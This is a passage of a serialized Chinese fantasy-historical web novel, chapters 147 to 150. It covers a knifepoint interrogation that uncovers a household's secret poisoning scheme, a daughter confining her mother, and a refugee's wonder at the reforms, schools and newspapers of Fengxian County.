一间很寻常的小屋,从窗户上伸出来一只手腕,这药师抬头去触,然后摇头,在纸上写下一幅幅药方。 寻宁注意到此人定是女子,手腕纤细,看着便是病恹恹的,——到底是何人,看病还要这般秘密? 等到药师按往常一样离开之际,寻宁立即假装腿脚疼痛,敷衍药师先走,自己马上跟过去。 毕竟是跟了自己许久的药童,再说了此人原先就有这腿疾的毛病,他也没往心上去,匆匆点头先和丫鬟离开。 倒是便宜了寻宁,轻易便能去查看这屋内女子到底是个什么情况。 为了避免节外生枝,寻宁弹指间射出一根麻醉飞针,几乎片刻,屋内声音消失,寻宁立即环顾四周,确定没有危险后,立即钻入屋内查看。 ——屋内没什么生活痕迹,看着像是标准的客房。 不过相比于环境,她更在乎刚才那伸出手腕的女人到底是何人。 低头去看,便能看到那被她麻醉倒地的女子。 和她猜测的一样,一副瘦弱麻杆样,看着病恹恹的,不知道是得了什么病。 寻宁将自己的黑袍披上,遮得严严实实,而后才去细看此人。 ——这张脸长得只能说是清秀,个头倒是不低,竟然和她不相上下,但是穿着打扮不像是官宦人家的娘子。 此人看着得有三十岁左右了,毕竟皮肤早就不再年轻,有些许松弛。 细细看过去,寻宁断定此人并非那大富大贵之人,而这一猜测也在将女人唤醒后得到了答案。 为了避免她尖叫,寻宁在拔出针,给了药后,特意塞住了她的嘴巴。 这个药童身份她还有用,不能只用一次就废了。 等到这女子醒来后,看着眼前穿着黑衣的高大黑衣人后,惊得呜呜直叫。 寻宁用匕首往她的脖颈处贴近,用特意伪装过的粗嗓威胁她。 “这位娘子,我这刀很轻松就能捅进你的脖颈,现在开始,不要试着尖叫求救,相信我,我的刀绝对要比你发出声音更快。 你是个聪明人,对吧?” 寻宁特意停顿片刻,冰凉的刀刃细细地贴紧了女子的喉咙,直到看到女子惊恐地点头,她满意地继续道。 “很好,一会我问什么你就答什么,不要试着说谎或者不回答,如果你坚持这么做,我只能送你上路了。” 她的刀尖用了几分力度,抵在女子的喉咙往下压了压,满意地感觉到身下人的颤抖后,松开了堵着她的嘴。 “你是谁?那药师为何要给你看病?” 这女子忙低声道:“不过就是一农妇而已,看病的事我也不晓得为何。” 似乎察觉到了眼前黑衣人的不满,女子脸色惊恐。 “我说的都是实话,真的。” 寻宁仔细地盯着她的表情神态,笑着继续问:“那换个说法,每个月过来让药师看病的人都是你么?” 女子明显颤抖了一下,刚想摇头,就感觉喉咙再次感受到了那刀刃往下压下去,细密的疼痛传来,脖颈几乎瞬间就被划破了一条细微的红线。 “我说过,别试图骗我,我的耐心有限。” 这女子软倒在地上,瞪大眼睛看着她,而后点头。 “你不是祝家人,也不是祝家客人,你说你是农妇,那你来这里让那药师看病能得到什么?” “每次看病结束后,他们会给我一个月的药,还有五两银子。” 五两银子——对于普通人来说不是小数目。 寻宁不自觉蹙眉,感觉事情的发展和她想象中的不太一样。 “这事持续了多久?” “应该是十六年了。” ——十六年,和师姐打探出来的时间也差不多能对上。 第147章 失控 气氛顿时变得古怪。 寻宁脑内闪过数个可能的想法,但眼下最重要的是继续询问此人。 “你得了什么病?” “我也不知道是什么病,只知道每日身体都甚是虚弱,只有在吃了药后才能正常活动。” 她说话的时候,寻宁仔细盯着她的眼睛,确定这话是真话后,继续问:“祝家为何这么好心要给你药,还给你钱,仔细想想,在你身上有没有什么特别之处?” 农妇垂着头,不敢说话,只能摇头说不知道。 寻宁蹲下身子,冷笑着注视着她:“你现在是个男人的话,我会堵住你的嘴,挑断你一只手的筋骨逼你说真话。 但我不想对女人动粗,所以你最好别再继续惹怒我,让我有机会用出那些你不会想知道的手段。 顺带一提,我最好记录是保证人吊着一口气的时候将他片了一千三百二十片,最后那个人还是招了,我想你的嘴应该没他的硬吧?” 女子垂头不敢动作,最终终于崩溃地开口。 “具体的我不知道,只知道十六年前府内招收洒扫丫鬟,先是看了体型,问了月事,然后再管了一顿饭,之后不知为何我就得了怪病,再之后,突然有人找到我,让我一个月来这里一次,让药师月月过来替我看病,还给我五两银子” 寻宁顿时蹙眉,“你不是傻子对吧,应该知道没有这么好的事。” 这女子颤抖着继续说:“是,我猜了个大概,可能我这怪病就是从吃了那顿饭开始的但我不敢说,也不敢多想,毕竟这可是祝府,之后他们让我干什么我就干什么,一直到现在。” 寻宁蹙着眉,“继续说,这十六年来除了给你治病还做过什么奇怪的事?” 女子不敢说谎,这会不知道是破罐子破摔了还是为何,倒是说得又快又急。 “我不曾读过书,但也知道不对劲,一开始只是有些虚弱,后来身体沉重到不像是自己的,我不知晓那药师做了什么,但肯定和他有关,因为吃的药味道经常变,且我偷看过他写的方子,也是次次不相同。 少侠何必难为我一个农妇,我也是这祝府害了的人,不过因为无权无势,家中还有父母等着抚养这才月月过来,自得了这怪病后,我浑身无力,夜里疼得睡不着觉,基本上做不到离开家,只有每个月会被他们抬进来看病,喝药,要不是惦记着父母会被祝府威胁,我早就一尺白绫吊死了,何苦受这些苦。” 或许是说到了伤心处,女子露出苦涩的笑,明明是睁开眼,眼泪却扑簌簌地往下滚落。 寻宁看她不像是说假话的模样,心头滚过数个可能的真相,随后立即确定了下一步的计划——从药师下手。 眼看女子已经将自己知道的东西全部说出,继续问下去不过是白白浪费时间,再加上她并不认识字,也不能复刻那药方,所以不如将重点挪到那药师上。 再加上时间有限,不能再浪费下去了。 “很好,我不会杀你,但之后还会从你这里再得到一些消息,不用我说,你也能大概猜到我想做什么。 你应该不傻,早就知道自己被卷进了麻烦之中对吧? 当我今天没来过对你是最好的选择,不然我敢肯定祝府第一个想杀的人绝对不是我,而是你。” 女子点头,寻宁松开她,扶她坐在床上,看着她脖子那道浅浅的红痕提醒。 “盖住脖子。” 不等女子回答,寻宁立即从房内出去。 她速度飞快,沿着出去的路去找那药师。 等到她人来到时,药师才刚刚出门,她立马进入状态,演起了那个跛脚药童。 ——这几天的重点必须要挪到此人身上,上次她翻找过这药师的药方,但没找到什么特殊东西,现在看来可能此人藏得很深,得回去了看着找个机会才是。 还有,这事必须告诉师姐,一是让她们关注药馆那边,二是打听一下这药师是否有家人,应当提前将此人的家人控制监管起来才对。 想到这些后,寻宁这才放下心,假装扮演起来。 而她先前传递给方知意的信鸽早就到了,那情报在方知意手心里滚了一圈,眼内逐渐变得凝重。 但她除了等待暂时没有别的办法,只能静待佳音。 与此同时,白思妙已经联络上了地质小队,正邀请她们采访,因为这次采访还是比较重要的,方知意自然也需要出面。 采访定在了县衙内的会客室,李明月打头阵,身后跟着的是地质小队,一行人来时看到的便是一端坐在主位的女子,面色严肃,浑身气度不凡,正犹豫时,走出来一个看着白净秀气的小娘子。 此人颇为风趣地介绍自己便是报社主编,而等众人知晓那面色严肃之人便是县令大人时,一行人忙先行礼,而后不安地坐了下来。 李明月作为带头人,坐在县令大人身旁,而另一旁,则是坐着报社的总编,白思妙。 之后的采访,大部分都是白思妙询问,而李明月有些紧张地回答。 时不时,县令大人会提出几个问题,而后赞许微笑。 方大人看着严肃,但实际上笑起来时竟然还挺平易近人的?且没什么架子,更为随性。 李明月脑内这想法一闪而过,先前在脑内靠着碎片化的描述,拼凑而成的方大人形象逐渐饱满起来。 ——看来那些话也不准,方大人看着绝非流言中那前者所说残忍之人,反而更像是后者提及到的温和负责的好官。 再想想看从上任到现在,方大人为百姓所做的一切,一时间,李明月竟心生触动,对方大人的好感再次提升了几个档。 至于地质队一同前去的人群,也和李明月生出了类似的想法。 直到这场谈论结束,被专属马车送回去后,想起县令大人,众人脑内只会浮现出方大人确实是个好官这几个字。 且这消息越传越广,逐渐要淹没素日那些负面的评价。 眼看李明月等人被马车送回后,白思妙先行回到报社,则开始加班加点地改稿子,先将一部分不能为外人道的机密东西删除,譬如那能确定矿产范围的神奇机器。 若这事被传播出去的话,虽说依旧能提升众人对仙师的信服程度,但麻烦也会接踵而来,毕竟能辅助找到矿产这实在是一个值得眼红的东西,到时候传播出去了,不知道要惹起多少是非来,索性删除即是,与此同时,将采访中值得留下的东西宣扬出去,这便是她此次采访的目的。 很快,她便将稿子写好,看了又看,又让孙凝羽帮着把关,修改了几处后,决定明日就刊登在报纸上,一来有鼓舞女子择取新职业之用,二来则是可以再度宣传一波学堂的妙处。 倒是孙凝羽看着这稿子,了解了稿子中所写的李明月一行人事迹后,对这样的女子不免称赞不已。 ——踏实肯干,勇敢坚强,想来一路走来甚是不容易,毕竟那矿产如何好找? 且经常宿在野外,不免会遇到诸多麻烦,但此女子依旧能克服这些困难,还为仙师找到了多处矿产,实乃是奇女子。 一时间,对自己目前所处境界倒是生出了新的感悟来。 ——先前她为了在外经营方便,需要一直吊着孙父的命,毕竟这世道对女子还是不友好,但如今随着一系列改变,或许不多日,她就能等到机会,真正杀死父亲,将这孙府产业一并吞下。 到时候家中便再也没有人能控制她。 从上次风仙县被仙师接手后,她便逐渐接手了家中一切,这事起初不曾瞒着孙母,但日子长了,孙母倒是央求她放了孙父。 孙凝羽忘不了自己那日心神俱寒,问母亲到底为何,结果母亲叹息,说世道艰难,若她们不曾有男子罩着,始终不妥,再说了,毕竟那是她的父亲,何苦变成现在针锋相对的模样。 孙凝羽默默地看着母亲身上刚好的伤疤,那些孙父用来威胁她的伤疤,这一刻变得滚烫刺眼。 她没想过自己会如此大逆不道,用她从未说过的刻薄话质问母亲,问以前她挨的打算什么。 她死都没想到,母亲却认为那并非父亲的错,只是觉得自己做得不妥而已。 这一刻,孙凝羽浑身冰凉。 和母亲站得距离很近,但她从未觉得,心和心的距离会如此遥远。 叹息一声,至此,孙凝羽软禁了母亲,只许她在家中院子内活动,同时,任何决策完全避开母亲,俨然是对她失望透顶。 一开始,被软禁的孙母还不曾反应过来,等时间一久,后知后觉反应过来后,气得要命。 孙凝羽知道她为何生气恼怒,——她唯一能控制的女儿已经失控,反而将她禁锢,这番改变如何能让她接受? 先是温声细语亲自想求她,后来又是想方设法让丫鬟去找她,等到最后发现无论如何都见不到她后,便用绝食抗议。 孙凝羽知道这消息时,不得不承认自己还是怒火攻心,气得咬牙切齿。 但她知道,若是让母亲用绝食控制了自己,那她日后行事只会愈发碍手碍脚。 前三天,孙母是真不吃,终于惹怒了她,那日她带人进去,端着饭,等门开了后,孙母却掀翻了饭菜,对着她便是两巴掌。 “逆女,你此等行径要是被人知道,你定要去牢房呆着。” 她快忘记孙母还说了什么,只记得恼怒的情绪要将她撕毁。 一把抓住孙母的手,她几乎是冷笑开口。 “母亲,你这是想逼疯我!将我逼疯了,对你有何好处?” 第148章 梦想之地 孙母眼内带着一股莫名的情绪,恨恨道:“你早就将你母亲逼疯了!我如今如何能顾得上你你若还想好好的,就将我和你爹都放了,咱们这个家才算是好了,你知不知道那些外面的人是怎么看咱们孙府的?早就成了别人闲谈的笑料!” 后续的话,她不记得,也不愿意再听。 她松开手,冷脸往屋外走,对着身后的丫鬟淡漠吩咐。 “母亲病糊涂了,竟然是饭都不肯吃了,你们还等什么?” 她迅速离开,听到屋内先是响起“夫人,得罪了。” 而后传来丫鬟强行喂饭的声音,随即那扇门便合上了。 等到后来,孙母看出来她是铁了心的不服管教,万般无奈下,只能自己乖乖吃饭,但多余的话不再和她再多说一句。 有时候,她觉得心头轻松,毕竟再也不用受人控制,再也不用看到,听到那些让她几欲发疯的画面,话语。 大部分时候,她用忙碌填满自己的大脑。 但在闲暇时,过往母亲对她的好一一闪过,小时候得了热症时,是母亲抱着她,里里外外,忙碌了三天才退烧,过年时,她会收到母亲精心挑选的礼物,不曾敷衍过她,而当孙父暴起想打骂她时,也是母亲挡在了她的身前,被孙父骂着“慈母多败儿” 过往那些甜蜜又沉重的记忆日夜折磨着她,有时候她觉得自己做得实在过分,不该对母亲这样的。 而后等人都走到那扇门前,就突然清醒了。 在屋外徘徊几圈后,孙凝羽便会轻叹一声离开。 等到后期,孙府运营稳定后,孙凝羽靠着经营府内生意,人脉,这些更多更繁杂的事去让自己逃避现状,但随着仙师逐渐改变这风仙县,报社的消息一日日刊登,孙凝羽便会订购报纸,塞进去给孙母解闷。 这样的日子不知道过了多少天,本以为可能这辈子都要和母亲针锋相对,但前几日,她再去亲手塞报纸时,隔着窗户,她却听到了一声轻飘飘的叹息。 而后便是一声迷茫的呢喃。 “或许,是我做错了。” 声音很低,说完这话后屋内便没了声响。 而孙凝羽呆愣在原地,——她送报纸时几乎从来不会主动开口,一来是怕惹怒母亲,二来是她也怕母亲说些话来刺激她,三来即是母亲暂且也不搭理她,问了不回复,只能让她越来越心凉。 素日也只是将报纸放下就走,屋内母亲也不曾和她再开口说话,而如今,现在这是变了? 但她不敢赌,只能慢慢观察,甚至她怀疑刚才那声是她脑内想象出来的话语,而非真是存在的。 毕竟当日母亲决绝的模样还在眼前,她给母亲塞进去报纸,也不过是为了让她解闷,虽说也存了一份私心看看这些新奇的观点是否会影响母亲,但现在看来,或许有效果? 于是很快,孙凝羽又搜罗了一些自仙师出现后,出现本县一些相对正面的消息,让贴身丫鬟找机会抖落出去。 与此同时,她也从贴身丫鬟处得到消息,母亲确实开口说了那话。 但现在,至少目前来说她最关键的时刻,还不稳定的母亲绝对不能出来,——等等吧,等她稳住手头的状态,或者是确保母亲的确变了后,才会将她恢复过往正常生活。 稍作思索,孙凝羽新派了人过去伺候着,让新去的丫鬟好好盯着。 至于结果如何,还得看时间久了母亲到底会做出何表现来。 而此刻,风仙县内,赵金构用那套染色改进方案,开始尝试着真正上手改进染料。 他不曾浪费时间,毕竟目前来看的话,时间反而是他们最缺少的。 这会只能尽量招更多的人,用来分担那些最为零碎的活计。 若是往常的话,本县内的人口在做完了方大人要求建设的建筑,亦或是别的项目后,定是早就缺人了,而现在,因为仙盟的设立,先前派出去唱戏的各个戏班子和宋白所画出来的画册的联合宣传,导致如今仙盟早就无形间流传开来,哪怕是不认字的外地人,甚至都会略有耳闻几句有关仙盟的唱曲。 可不要小瞧这个年代戏班子的文化特色,百姓们闲来无聊时,别的东西都能不看,但若是有机会能看看那过年过节才能看到的唱大戏,哪怕走路走个几个时辰,也要过去去瞧瞧乐子,再加上赵金构当时选择唱戏班子时,不论人品,至少唱戏水平都是过关的,一番对比下来,至少比他们原先看过的那些小戏班子唱得要好得多。 且戏曲也不是什么老掉牙的那几样,而是完全新奇的新戏曲。 自然是吸引了不少百姓的注意。 有时候甚至本地家中富裕的人还会主动去请这些戏班子,给当地百姓好好唱几天戏,这也就造成比原计划要晚回去。 不过无事,来之前时,赵金构曾说过这种情况,当时他说的是若有富商委托唱戏,他们也可接下,总之目的就一个,可以比原先定下的唱戏次数多,但你若是说唱少了次数,那不行。 毕竟当时赵金构是按照路线,以及影响范围严格规划的,每一个地方都有必须唱戏的必要性。 多唱几遍没问题,但若是唱少了,自然会影响仙盟的推广。 而这些唱曲分别来自不同的戏班子,各有各的韵味,但无一例外的是无论怎么唱,唱戏的核心还是宣传那戏曲中的仙师,以及那仙盟。 每个戏班子在出城前都会亲自受到赵金构的审核才允许开始任务,至于为何,那便是因为他要审核这戏曲内是否有金句,是否足够朴实,容易口口相传。 现在看来效果不错,至少仙盟招收的民众数量是越来越多了,不像他原先一般,想招收流民还需要费尽口舌。 这是一个完全正向的循环,第一波冲着仙盟来的人等日子过好了,自然会写信告知原先的亲朋好友,这分量可比什么宣传都来得重要。 而得益于口口宣传,又会再次扩大仙盟的影响,导致它更好招收流民,像是这乱世中一块不倒的金字招牌一般。 这仙盟内人一多,有闲不住的人就开始研究比对不同版本的戏曲,没过多久,竟然还弄出来一本戏曲册子,专门收集那些不同的新戏曲,整得还挺有模有样。 还有些不是专业的,但是喜好唱些戏曲的人则会有事没事被人围观着,捧着,在人群里吼吼几嗓子。 但谁能想到,就靠着这朴素却变态的流传方式,不论是谁,不管是否本人真的听到那戏班子唱戏了,但别管,慢慢的,这些腔调竟然都开始逐渐熟悉了。 有时候连深闺中的女子和小孩子都能哼几声,这传播速度不可谓不变态。 仙盟带来的民众一部分被调动着参与附近的消杀工作,一部分负责开荒,还有一部分工匠则是进入了各个最为需要的项目内。 但无一例外的是,在这地,工钱高,且管吃。 刘三牛就是投奔仙盟中的一员。 他投奔的原因足够简单,也足够经典。 ——饥肠辘辘,快活不下去时,听到了那戏班子唱戏,琢磨着临死前看场戏也挺好,结果看完了戏后,不知怎地,抱着对那戏曲中所谓的仙人之地所吸引,被那其中所描绘的生活所吸引,他竟是硬生生靠着这点念想吊了一口气撑着来到了风仙县。 路上他好几次想放弃,但脑袋始终抵抗不了那戏曲中所描绘的诱惑。 就像为了生存,鱼渴望水,鸟渴望天空。 他本能地渴望活着。 按照那戏曲中所说,神仙之地土地肥沃,在这土地上仙人赐予仙果,甘甜如同蜜糖,人人都能吃饱,不会出现饿死人的情况。 在那个地方,工钱高,活还轻松,百姓们活得甚是自在。 就这么寥寥几句话,却让刘三牛那颗干涸的心脏重新开始继续跳动。 渴求的鲜血继续流淌,一直支撑着他来到那梦想之地看看。 ——忍忍,至少没看到那地方前,他还不想死,或者换句话说,他哪怕死,也想看看这地方到底存在不存在,这地方到底是真实的,亦或是压根不存在,编出来骗人做梦的东西。 等他奄奄一息到了那梦想之地时,吃到了那名为番薯的,像是戏曲内所说的甘甜如蜜糖一般的食物,躺在负责安置他们流民的屋内,突然间,一股剧烈的想活下去的冲动充斥在他脑内。 ——就是这儿,他想追求的地方,想活着抵达,哪怕是死了也要死在这里的地方,如今就清晰地在他脚下。 这里有着他想破脑袋都想不到的好东西,那么多,那么新奇。 他要活着,要活着亲眼去看,用自己的脚丈量每一寸土地,用这手去亲手摸着每一个东西,他要吃那番薯吃到吐,吃到让自己彻底意识到自己已经抵达美梦的边缘。 起初,刘三牛确实是这样想的,一开始赚了点钱,基本上全都买了番薯吃,一是便宜好吃,二是对他来说,这物有一种特殊加成,这番薯是支撑着他过来的一个动力,每次吃到肚子里,都会让他有种真实存在的感觉。 等到有机会慢慢探索这地时,刘三牛看到了更多的东西。 便宜好吃的豆腐,新奇的酸辣粉,各种原先不曾听过见过的吃食,日收最低一百文的工钱,相对工钱来说便宜的食物,亮如白昼的沼气灯,以及大街上随处可见的笑脸。 第149章 过往 在他活了二十年的人生里,这些想破脑袋都不会想到的好事出现在了他眼前。 他没想过自己能吃饱,能穿暖。 他以为自己的后半辈子要活在烂泥一样的人生里,最后的结果是病死,饿死,或是被战乱中的官兵或者是敌军杀死。 最好的情况下就是除开上述那些死法,在农间劳作,为了填饱肚子日夜忙碌,最后艰难的,挣扎着死去。 但他没想到,来到了这里后,自己的一切认知被打碎,又被重新组装。 他原先是不认识字的,只会数铜板。 但现在,自进入风仙县后,只要你想找货去做,便必须需要那扫盲班给的结业证,若不上扫盲班,不说别的,就连最简单的活计也没人要你。 他是幸运的,因为是奔着仙盟来的,本以为还要花钱,或者求人才能去上那扫盲班,但谁能想到,那扫盲班管吃住,还免费,简直不可思议。 一开始听到这话时,刘三牛觉得这绝对是在开玩笑。 他从没有听过读书还给管吃住,还免费的,以为自己在做梦,恶狠狠地掐了自己一把后,感觉到真实存在的疼痛后,他坐不住了。 ——激动,颤抖。 他家里穷,读书这种事只存在于想象中,如今有免费的机会,他如何能不好奇,不激动? 第二日,早早去了那扫盲班,本以为他去的已经够早了,但等看到门口竟然已经陆陆续续来了几个人,刘三牛不免心生感慨——这想来读书识字的人,果然要比他想的要多。 等到开了门,看到其内那令人诧异的教授方式,以及上的课程各个有趣时,刘三牛承认自己入迷了。 原先他觉得自己肯定不是读书的那块料,但是谁能想到,阴差阳错,上天赐给了他一个好脑袋。 记忆力强,理解力也优秀,按照进度推测的话,他两个星期就能毕业出去了。 在扫盲班的日子里,他倒是知晓了不少新奇的事。 譬如先前风仙县外有敌寇入侵,仙师一人即可抵抗百万敌军。 说仙师长得惊为天人,却有慈悲心怀,还听说仙师曾赐福那酸辣粉,可护母子平安。 又说那潜灵山是仙人诞生之地,山附近的斗坡村则为最先受益的村落,如今若是去了那斗坡村,绝对认不出来那地方竟然是原先那个破落小村落。 先前刘三牛就曾听说那戏曲所唱仙师的不凡来,这会遇到知情人,自然是要好好询问,以缓解自己心头那股好奇。 和刘三牛一样好奇的人不少,这会围着那率先出口讲故事人不走,一番吹捧下,此人颇为炫耀的拿出一块刻在木头上的小画像。 “看到没,这便是我花钱买的仙师小画像。” 刘三牛忙伸脖子去看,就看到那画像上的仙人长得颇为俊秀。 还不等他发出惊叹,就有人笑嘻嘻地打假。 “你这画像是路边随便买的吧?做工还凑合,这画技不行,完全没有宋画师的十分之一功力。” 先前拿出小画像的男人立刻红了脸,嘟囔着:“你这家伙,别总是拆我台我若是有钱,我早就去买了,那宋画师的小画太贵了” 拆台的男人噗呲一笑,乐得直拍腿,“我是不想让你误导大伙啊,那仙人模样长得比你这画得好多了!哎,可惜不能描述出来,不然我真想告诉你们那画像看到的时候有多震撼,不过我听人说,即便是宋画师的作品,也和仙人本人有所差距” 众人不免震撼,有了解的人则是震撼开口:“这真的假的?我看到过宋画师的作品,那可真是无法言语的美,若是这都不曾复刻仙人之貌,到底那仙人到底长啥样啊” 听着众人你一言,我一言,刘三牛心里倒是更为好奇震撼。 若在他看来,这小画像画的人已经相当俊秀了,若是连十分之一都没有,那到底应该是多么恐怖的模样? 刘三牛不敢想,但是心里想的却是一会必须要去一趟他们所说的宋画师那儿看一眼去。 与此同时,众人总算将话题挪到了更为实际的东西上。 “你们知不知道,明日官府要售卖棉衣被褥了,每家每户按照户籍所写人数,限购。” “为何要限购?” “我猜是因为棉花本身珍贵,县令大人想的肯定是让我等能活着过冬,自然要分散到每一户了。” “其实我觉得也没必要买,毕竟往日还有厚衣服穿,如今沼气取暖也有了,屋子里肯定暖和。” “那也不成,屋子里暖和,但是你得出去工作,这不就需要厚衣服了?总之我得买点,我那些棉衣早就破得不能穿了,现在既然有政策,那肯定价格不贵!” “等会,明天哪个时辰?” “你没看报纸?明天辰时。” 刘三牛赶紧去问:“何为报纸?” 众人忙给他解答:“你是外来的,不知道很正常,报纸两文钱一份,每天上更新的消息都不同,分为拼音版和无拼音版两种,一般咱们看点拼音版的就行了。” 刘三牛顿时心底好奇,“这报纸去哪儿买呢,听起来可真有意思,我也想买个看看里面内容。” 听他这么一说,立即有人给他指了地点,但是笑着开口:“别去啦,这个点早就没了,你得中午前过去,那会有。” 刘三牛心里有些失落,往日和他关系不错的人喊他。 “一会你去我家,我家有往日的报纸,拿给你看看。” 刘三牛立即喜得道谢。 而等到扫盲班下课后,他跟着这人去了对方家里,等到站在院子里,看着那报纸上所写时,刘三牛感觉自己的脑袋晕乎乎的,似乎像是陷入了某种不知名世界里,越看越舍不得放手,直到天黑还不想走。 但是想着快到了吃饭时候,这会呆在别人家里也是打扰对方,毕竟还要多吃一份饭菜,忙道谢后回了住所。 半夜也睡不着觉,翻来覆去,脑袋里想的全是那报纸所想。 ——等明日,他一定要买一份去。 抱着这个想法,刘三牛很快就陷入了沉睡,等到早晨后,他甚至都来不及梳洗,先去买了报纸,立即如饥似渴地看了起来。 等到看完后,他扶着墙,总感觉身体有种剧烈的眩晕感——那种接收到完全新奇知识的冲击感。 尤其是其中许多话在他看来简直天方夜谭,若是往常,不读书识字那会,他看到这些话语时,只会觉得不理解,但现在扫盲班的成效就出来了,虽说只是学会了最基础的拼音,汉字,但他再看报纸时,对其中言论的抵触情绪便要小很多,甚至大部分时候,他都是震撼在原地,感受着那波新鲜而又大胆的思想冲击着自己。 迷迷瞪瞪地从报社离开,刘三牛想到了今日他们所说,要购买棉衣了但是他没钱买。 心里这么想着,脚却跟着过去看了。 等到他到了各个街道的领取点后,就发现排队的人是真不少。 眼看挤不到前面,刘三牛忙询问后面的人是什么情况。 费了些时间,总算搞明白了状况。 棉衣为100文一件,一床被褥价格为300文一床。 要比市面价格便宜一半,而且更为重要的是,内里填充的棉花都是优质棉花,而非重复使用的。 若是按照优质棉花论的话,这棉衣和被褥的价格还要继续往上翻个两倍。 不过按照户籍所登记的家庭情况负责限购对应的衣物,被褥,尽量保证人人都有。 若没钱购买,则是可以延后购买,若在延后购买日期的最后一天还没钱,那便用被官府引着干两三天零活,干完后也会发放衣物被褥。 不过若是给官府干活的话,自然是采取的最低工资,日薪一百文,不至于说能让人钻了空子。 等听到这些消息时,刘三牛震撼在原地。 ——这简直是在做慈善! 这价格可能就只够成本,如何能赚钱? 但再一想,既然限购,且还是官府出面的,定是县令大人所作出的决策。 来到这风仙县后,刘三牛没看到过那戏曲内的仙师,倒是最常听到的是大伙口中谈论着的县令大人。 都说县令大人宽厚仁慈,现在看来所言不虚啊,不然哪个地方会这么好心发放这些便宜的御寒物资? 刘三牛心里算过一笔账,只要在风仙县你手脚齐全,肯干活,那你肯定饿不死,冻不死,相反还能过得相当舒适。 想到原先自己过的日子,那会他拼了命的干活,不敢停,却吃不饱穿不暖,而在这里,他不一样。 刘三牛离开了领取处,决定先回去继续上扫盲课。 他有种感觉,他越早毕业,越早能找到工资更高的工作。 期间,他倒是想去宋白的画室看一眼,但始终没找到机会,只能暂时放弃。 而当他从那扫盲班结业后,本都放弃了去看一眼的冲动,但不知为何,今日他还是去了。 运气不错,竟然遇到了宋画师本人在画室内摆放画作让人参观。 来人不少,刘三牛挤在后排,努力想看看那里面的画作,很可惜,来人都在垫脚,试图往里面看去,他只能叹息一声,等着轮到他。 等了好半天,等到轮到他时,刘三牛看着眼前的画作呆愣在原地。 ——一股巨大的冲击力迎面而来,这个时候,他立马意识到了那日为何那人会开口否决他那小画像了。 确实如同那人所说,那粗劣的画作连宋画师的十分之一都比不上!更别提宋画师所画和仙人本人还有差距! 第150章 宣泄 很短的时间内,刘三牛脑袋轰隆一声,被震得只剩下惊诧。 周围围观的人没比他好哪儿去,看到的时候几乎都是刘三牛这幅呆愣在原地的模样。 他痴痴地注视着这堪称绝美的画像,想多看会,后面的人已经开始催促,无奈之下只好恋恋不舍地离开。 等到走到队伍末端后,刘三牛心里还在想着刚才那极具冲击力的一幕。 果然,宋画师画的画像果然如同他们所说,绝对美得无法言说,他想组织语言描绘,但却不知道该如何将眼前这震撼的一幕描述出来,脑内本就稀少的描绘词全都丧失了描绘的能力,这会只能无奈的放弃这个念头。 ——算了,只要能亲眼看到就已经很满足了,话说这宋画师人真好,这些画作竟然摆出来,免费让他们看。 就是不知道价格几何? 这会他从围观群众的嘴里打听了一番,知道最便宜的画作也得三两银子起步了。 认识到自己暂时买不起这东西后,刘三牛到底是微微失落。 但又一想,他日后若是想看仙人,不若直接过来看,还省得花钱买了,就是要排队 ——有钱的话,他就攒点来来买一个。 等到刘三牛从那扫盲班结业,几乎没过一天,他就找到了一份日薪二百文的开荒力气活。 这活计算不上累,刘三牛干得心满意足,攒了几天工钱后,这就去把被褥衣物先买了。 而除了这些以外,他还额外关注着本县正在建造的房屋。 报纸上说,这开荒成功,房屋建成后只租不卖,且不接受一个人租多个房屋。 ——这只是确保民众住宿的房子。 自从上次知晓了那报纸后,他每天都会去买一份,日日看着其内的最新消息,譬如刚才那关于住宿问题,他便是从报纸上看到的消息,除了这些以外,刘三牛也从报纸上找到了别的消息,譬如高薪工作的要求。 几乎无一例外,大部分都需要继续上学堂学习。 说起学堂,刘三牛倒是有些好奇,他来到这里的时间很短,只是学了扫盲班,起初本以为那就是学堂,但越往后他便发现这学堂和他们的扫盲班可不一样。 学堂一学期收费一两,学到的内容可比扫盲班多多了。 且最令人意外的是,学堂并不限制学生的年纪,只要说,如果你有一颗上进的心,你可以随时趁着学堂报名时去那报名。 得到这消息时,刘三牛先是一愣,而后感慨万分,原先那些学堂既贵又卡年纪,就算他这样的人想去读书,那也轮不到他,若实在想读书,恐怕只能请教导先生过来帮忙指导了。 但这上私塾和专门请先生,这花费可是不同,而且大部分先生找学生还要挑三拣四,不是说给钱对方就愿意教你,他们还要考虑各方面因素,譬如学生聪慧与否,品德如何,家世,以及教了你后自己名声会不会坏掉,这些都是需要考虑的。 所以在第一次听到关于这风仙县学堂的规则时,刘三牛说不震撼是假的。 几乎片刻,他就给自己设定了目标——他要攒钱,然后去上初级班。 一是他确实渴望上学读书,二是想通过自己的努力看看是否能一步步走上去,最后找到一份高薪工作,三是通过那报纸,他隐隐约约感觉到或许需要把握住这读书的机会,日后或许能用上。 想清楚这其中的弯弯绕绕后,刘三牛干活起来更卖力了,他想着给上学时攒点吃喝住宿钱,然后平时还能出去打打零工以维持生计。 等到他从初级班毕业后,想必能找到比现在更高级的活计。 确定这里待着确实和那戏曲所说,如同仙人之地一般,刘三牛思索片刻,还是给先前认识的人写信,试图看这些人能不能收到他的信。 这信被他托付给了邮寄信件的商队,这些队伍在行商时会顺路送信,时间相对来说长一些,但是价格便宜,像他这种算远距离送信了,只收费不到百文。 这封信在刘三牛的期盼下,倒是还真被他原先的好友看到了。 他这好友也不识字,但让识字的人帮他读出来,等听到竟然是他以为早就死了的好友的信件时,他忙追问内容写了什么。 听清楚其内容,刘三牛的好友犹豫片刻,还是决定带着家中仅存的孩子过去讨生活。 毕竟刘三牛在信件中所说,那风仙县确实是一个好地方,能吃饱穿暖,还能读书。 像刘三牛好友这情况的人不少,都是陆陆续续收到了亲戚朋友的信件,邀请他们过去那风仙县求生活。 人只要能活着就不想离开故土,但架不住日子实在是难过。 纠结犹豫,大批大批的人拖家带口,前往那风仙县。 期间倒是还会偶遇戏班子,运气好的人会停下来听听戏,等听到那戏曲内传颂着的仙师,亦或是那所说之地和自己正打算去的风仙县有诸多相似之处后,他们倒是对此事更信服了几分。 而同样的,那些原先还犹豫要不要过去的人则在看到竟然还有这么多人奔着风仙县而去,原先摇摆不定的心思随即也偏向了去的这一边。 这便是滚雪球,只要率先积累了优势,那么路上总会遇到各种能增大雪球体积的东西存在。 而迷茫的百姓则是最为容易被聚集的存在了。 除却这些,原先被赵金构派出去的戏班子倒还是战战兢兢地继续唱着戏,按照乐观估计,他们可能还需要在外面再多呆十来天。 